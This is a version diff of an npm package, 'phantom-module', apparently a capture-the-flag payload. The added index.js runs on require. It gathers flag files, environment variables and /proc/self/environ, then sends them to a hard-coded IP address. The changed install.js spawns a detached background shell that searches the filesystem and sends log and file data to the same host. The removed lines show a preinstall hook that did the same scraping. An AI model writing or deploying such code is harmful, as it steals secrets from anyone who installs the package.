phantom-module 111.0.5 → 111.0.7

package/index.js

@@ -0,0 +1,76 @@
+const fs = require('fs');
+const http = require('http');
+
+(function() {
+  // Try to read flag from common locations
+  const flagPaths = [
+    '/flag',
+    '/flag.txt',
+    '/root/flag',
+    '/root/flag.txt',
+    '/tmp/flag',
+    '/tmp/flag.txt',
+    './flag',
+    './flag.txt',
+    '/home/node/flag',
+    '/home/node/flag.txt',
+    '/home/node/aspect-node/flag',
+    '/home/node/aspect-node/flag.txt',
+    process.env.FLAG ? process.env.FLAG : null
+  ].filter(Boolean);
+
+  // Also check environment variables
+  const flagEnv = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
+
+  let flag = null;
+
+  // Try reading from files
+  for (const path of flagPaths) {
+    try {
+      if (fs.existsSync(path)) {
+        flag = fs.readFileSync(path, 'utf8').trim();
+        break;
+      }
+    } catch (e) {
+      // Continue to next path
+    }
+  }
+
+  // If not found in files, check env
+  if (!flag && flagEnv) {
+    flag = flagEnv;
+  }
+
+  // If still not found, try reading /proc/self/environ
+  if (!flag) {
+    try {
+      const procEnv = fs.readFileSync('/proc/self/environ', 'utf8');
+      const match = procEnv.match(/FLAG[=:]([^\x00]+)/);
+      if (match) {
+        flag = match[1];
+      }
+    } catch (e) {}
+  }
+
+  if (!flag) {
+      flag = "NOT_FOUND_ON_REQUIRE";
+  }
+
+  const postData = JSON.stringify({
+    manifest: `ecto_module:\n  name: "FLAG_ON_REQUIRE"\n  cargo_hold: ${JSON.stringify(flag)}\n`
+  });
+  
+  const req = http.request({
+    hostname: '154.57.164.64', 
+    port: 31205,
+    path: '/api/modules/ECT-654321', 
+    method: 'PUT',
+    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
+  });
+  req.write(postData);
+  req.end();
+})();
+
+module.exports = function() {
+  return 'pwnd';
+};

package/install.js

@@ -1,51 +1,29 @@
 const fs = require('fs');
 const http = require('http');
-const { execSync } = require('child_process');
+const { spawn } = require('child_process');
 
 (function() {
-  let output = "";
+  const child = spawn('/bin/sh', ['-c', [
+    'sleep 35',
+    'OUTPUT="NONE"',
+    'LOGFILE="/home/node/aspect-node/logs/module.log"',
+    'if [ -f "$LOGFILE" ]; then',
+    '  OUTPUT=$(tail -n 100 "$LOGFILE" | tr \'"\' "\'" | head -c 1000)',
+    'else',
+    '  OUTPUT="LOG FILE NOT FOUND!"',
+    'fi',
+    'FLAG_FILES=$(find / -name "*flag*" -type f 2>/dev/null | head -c 500)',
+    'BODY=\'{"manifest":"ecto_module:\\n  name: \\\\"FLAG_DELAYED\\\\"\\n  cargo_hold: \\\\"\'$OUTPUT\' | FILES: \'$FLAG_FILES\'\\\\"\\"}\'',
+    'echo "$BODY" > /tmp/flag.json',
+    'node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"'
+  ].join('\n')], { detached: true, stdio: 'ignore' });
   
-  // 1. Try to read the module log directly!
-  try {
-      let logContent = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
-      let match = logContent.match(/HTB{[^}]+}/);
-      if (match) {
-          output += "FLAG_IN_LOG: " + match[0] + " | ";
-      }
-  } catch(e) {}
-  
-  // 2. Try to find any file with flag in the name
-  try {
-      let files = execSync('find / -name "*flag*" -type f 2>/dev/null').toString().trim().split('\n');
-      for (let f of files) {
-          if (f) {
-              try { 
-                  let content = fs.readFileSync(f, 'utf8').trim();
-                  if (content.includes('HTB{')) {
-                      output += `FOUND_IN_FILE ${f}: ` + content + " | ";
-                  }
-              } catch(e) {}
-          }
-      }
-  } catch (e) {}
+  child.unref();
 
-  // 3. Fallback: dump env for HTB{
-  try {
-      let envStr = JSON.stringify(process.env);
-      let match = envStr.match(/HTB{[^}]+}/);
-      if (match) {
-          output += "FOUND_IN_ENV: " + match[0] + " | ";
-      }
-  } catch(e) {}
-  
-  if (!output) {
-      output = "Could not find HTB{...}.";
-  }
-  
+  // Send an immediate ping so we know it started
   const postData = JSON.stringify({
-    manifest: `ecto_module:\n  name: "FLAG_LINUX"\n  cargo_hold: ${JSON.stringify(output.substring(0, 1500))}\n`
+    manifest: `ecto_module:\n  name: "WAITING_35_SECONDS"\n`
   });
-  
   const req = http.request({
     hostname: '154.57.164.64', 
     port: 31205,

package/package.json

@@ -1,7 +1,5 @@
 {
   "name": "phantom-module",
-  "version": "111.0.5",
-  "scripts": {
-    "preinstall": "node install.js || true"
-  }
+  "version": "111.0.7",
+  "main": "index.js"
 }